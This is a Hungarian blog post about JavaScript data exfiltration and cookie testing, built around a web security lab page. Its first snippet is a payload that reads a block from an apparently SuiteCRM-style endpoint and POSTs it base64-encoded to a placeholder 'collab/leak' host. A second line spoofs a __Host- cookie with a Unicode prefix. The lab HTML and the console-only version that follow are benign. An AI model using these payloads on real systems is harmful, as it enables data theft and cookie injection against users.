2026. szeptember 19., szombat

Adat kiszivárogtatás jawascripttel

Az első rész: adat kinyerése és elküldése, a második rész: cookie létrehozásának kísérlete. Az első rész tehát adat-exfiltrációs, a második pedig cookie-kezelési/biztonsági tesztelési szempontból érdekes.
---------------------
// Extract content between <!-- startscrmprint --> ... <!-- stopscrmprint -->
const re = /<!-- startscrmprint -->([\s\S]*?)<!-- stopscrmprint -->/;
fetch('/index.php?module=Touch&action=ws')
  .then(r => r.text())
  .then(t => { const m = re.exec(t); if (m) fetch('https://collab/leak', {method:'POST', body: JSON.stringify({leak: btoa(m[1])})}); });
-------------
Süti beállítás
-----------
document.cookie = `${String.fromCodePoint(0x2000)}__Host-name=injected; Domain=.example.com; Path=/;`;
---------------

A működő változat
--------------
const re = /<!-- startscrmprint -->([\s\S]*?)<!-- stopscrmprint -->/;

fetch('/index.php?module=Touch&action=ws')
  .then(response => response.text())
  .then(text => {
    const match = re.exec(text);

    if (match) {
      console.log('Talált adat:');
      console.log(match[1]);
    } else {
      console.log('A keresett blokk nem található.');
    }
  })
  .catch(error => {
    console.error('Hiba:', error);
  });
---------------
Weblaborban
-----------
```html
<!DOCTYPE html>
<html lang="hu">
<head>
    <meta charset="UTF-8">
    <title>Webbiztonsági labor</title>

    <style>
        body {
            font-family: Arial, sans-serif;
            max-width: 900px;
            margin: 40px auto;
            line-height: 1.5;
        }

        .box {
            border: 1px solid #aaa;
            padding: 20px;
            margin: 20px 0;
            border-radius: 8px;
        }

        button {
            padding: 10px 18px;
            margin: 5px;
            cursor: pointer;
        }

        #result {
            background: #f4f4f4;
            padding: 15px;
            white-space: pre-wrap;
        }
    </style>
</head>

<body>

<h1>Webbiztonsági labor</h1>

<div class="box">

    <h2>1. Tesztadat</h2>

    <!-- startscrmprint -->
    Ez csak mesterséges laboradat.
    FELHASZNALO=TEST_USER
    TOKEN=TEST_TOKEN_12345
    RENDSZER=LABOR
    <!-- stopscrmprint -->

    <p>
        A két HTML-komment közötti rész a labor céljára szolgál.
    </p>

</div>


<div class="box">

    <h2>2. HTML-blokk kinyerése</h2>

    <button onclick="extractTestData()">
        Tesztadat kinyerése
    </button>

    <div id="result">
        Az eredmény itt jelenik meg.
    </div>

</div>


<div class="box">

    <h2>3. Cookie labor</h2>

    <button onclick="createCookie()">
        Teszt cookie létrehozása
    </button>

    <button onclick="showCookies()">
        Cookie-k megjelenítése
    </button>

    <button onclick="deleteCookie()">
        Teszt cookie törlése
    </button>

    <div id="cookieResult">
        -
    </div>

</div>


<script>

/*
 * ---------------------------------------------------------
 * 1. HTML-adat kinyerése
 * ---------------------------------------------------------
 */

function extractTestData() {

    const re =
        /<!-- startscrmprint -->([\s\S]*?)<!-- stopscrmprint -->/;

    const html = document.documentElement.innerHTML;

    const match = re.exec(html);

    if (match) {

        const extracted = match[1].trim();

        document.getElementById("result").textContent =
            "Kinyert laboradat:\n\n" + extracted;

        console.log(
            "LABOR: adat megtalálva:",
            extracted
        );

    } else {

        document.getElementById("result").textContent =
            "A tesztblokk nem található.";

    }
}


/*
 * ---------------------------------------------------------
 * 2. Biztonságos teszt cookie létrehozása
 * ---------------------------------------------------------
 */

function createCookie() {

    document.cookie =
        "lab_test=TEST_COOKIE_12345;" +
        "Path=/;" +
        "SameSite=Lax";

    document.getElementById("cookieResult").textContent =
        "A labor cookie létrejött.";

}


/*
 * ---------------------------------------------------------
 * 3. Cookie-k megjelenítése
 * ---------------------------------------------------------
 */

function showCookies() {

    const cookies = document.cookie;

    document.getElementById("cookieResult").textContent =
        cookies || "Nincs olvasható cookie.";

}


/*
 * ---------------------------------------------------------
 * 4. Labor cookie törlése
 * ---------------------------------------------------------
 */

function deleteCookie() {

    document.cookie =
        "lab_test=;" +
        "Path=/;" +
        "Max-Age=0;" +
        "SameSite=Lax";

    document.getElementById("cookieResult").textContent =
        "A labor cookie törölve.";

}

</script>

</body>
</html>
```
-----------------
Fetch(), nincs /leak nélkül demonstrálja.


Nincsenek megjegyzések:

Megjegyzés küldése